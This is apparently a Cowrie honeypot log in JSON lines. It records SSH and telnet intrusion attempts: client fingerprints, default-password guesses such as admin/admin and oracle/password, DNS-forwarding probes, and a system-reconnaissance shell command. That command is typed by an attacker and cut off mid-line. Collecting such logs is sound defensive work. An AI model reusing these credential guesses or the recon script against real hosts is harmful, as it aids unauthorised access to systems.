{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:14.741379Z","src_ip":"173.236.141.65","session":"356077e0f6cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:14.851393Z","src_ip":"173.236.141.65","session":"356077e0f6cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"popcat","password":"popcat123","message":"login attempt [popcat/popcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:14.878294Z","src_ip":"173.236.141.65","session":"356077e0f6cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:15.890041Z","src_ip":"173.236.141.65","session":"356077e0f6cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.8397696018219,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:24.161913Z","src_ip":"107.6.151.170","session":"3afafe586235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":41214,"dst_ip":"10.17.0.5","dst_port":22,"session":"100171131ee5","protocol":"ssh","message":"New connection: 91.92.40.10:41214 (10.17.0.5:22) [session: 100171131ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:41.472887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:41.484054Z","src_ip":"91.92.40.10","session":"100171131ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:41.568877Z","src_ip":"91.92.40.10","session":"100171131ee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"letmein","message":"login attempt [admin/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:42.152402Z","src_ip":"91.92.40.10","session":"100171131ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:43.366186Z","src_ip":"91.92.40.10","session":"100171131ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":57462,"dst_ip":"10.17.0.5","dst_port":22,"session":"62adba97384c","protocol":"ssh","message":"New connection: 176.53.159.196:57462 (10.17.0.5:22) [session: 62adba97384c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:44.329999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:44.333865Z","src_ip":"176.53.159.196","session":"62adba97384c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:44.430249Z","src_ip":"176.53.159.196","session":"62adba97384c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:44.717429Z","src_ip":"176.53.159.196","session":"62adba97384c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:44.815008Z","session":"62adba97384c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:44.912621Z","src_ip":"176.53.159.196","session":"62adba97384c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:58:45.010894Z","src_ip":"176.53.159.196","session":"62adba97384c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00824499130249,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:59:21.818800Z","src_ip":"107.6.151.170","session":"9e0b7ec444db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":49942,"dst_ip":"10.17.0.5","dst_port":22,"session":"9be1e68131d3","protocol":"ssh","message":"New connection: 91.92.40.10:49942 (10.17.0.5:22) [session: 9be1e68131d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:18.575409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:18.704283Z","src_ip":"91.92.40.10","session":"9be1e68131d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:18.711057Z","src_ip":"91.92.40.10","session":"9be1e68131d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd","message":"login attempt [admin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:19.715020Z","src_ip":"91.92.40.10","session":"9be1e68131d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:20.863738Z","src_ip":"91.92.40.10","session":"9be1e68131d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":39228,"dst_ip":"10.17.0.5","dst_port":22,"session":"35f3ee77e19a","protocol":"ssh","message":"New connection: 173.236.141.65:39228 (10.17.0.5:22) [session: 35f3ee77e19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:31.876440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:31.880387Z","src_ip":"173.236.141.65","session":"35f3ee77e19a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:31.889318Z","src_ip":"173.236.141.65","session":"35f3ee77e19a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"popcat","password":"popcat123","message":"login attempt [popcat/popcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:31.916606Z","src_ip":"173.236.141.65","session":"35f3ee77e19a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":36106,"dst_ip":"159.203.135.109","dst_port":22,"session":"e256afeb45be","protocol":"ssh","message":"New connection: 176.53.159.196:36106 (159.203.135.109:22) [session: e256afeb45be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:32.544764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:32.550772Z","src_ip":"176.53.159.196","session":"e256afeb45be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:32.649178Z","src_ip":"176.53.159.196","session":"e256afeb45be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:32.927653Z","src_ip":"173.236.141.65","session":"35f3ee77e19a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:33.038673Z","src_ip":"176.53.159.196","session":"e256afeb45be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:33.142311Z","session":"e256afeb45be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:33.244878Z","src_ip":"176.53.159.196","session":"e256afeb45be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:33.346660Z","src_ip":"176.53.159.196","session":"e256afeb45be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58330,"dst_ip":"159.203.135.109","dst_port":23,"session":"97e75d379759","protocol":"telnet","message":"New connection: 170.64.224.25:58330 (159.203.135.109:23) [session: 97e75d379759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:00:34.126768Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":60628,"dst_ip":"10.17.0.5","dst_port":22,"session":"811b61568cc9","protocol":"ssh","message":"New connection: 91.92.40.176:60628 (10.17.0.5:22) [session: 811b61568cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:00.576762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:00.581524Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:00.663465Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:00.919729Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:01:01.132843Z","src_ip":"91.92.40.176","session":"811b61568cc9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 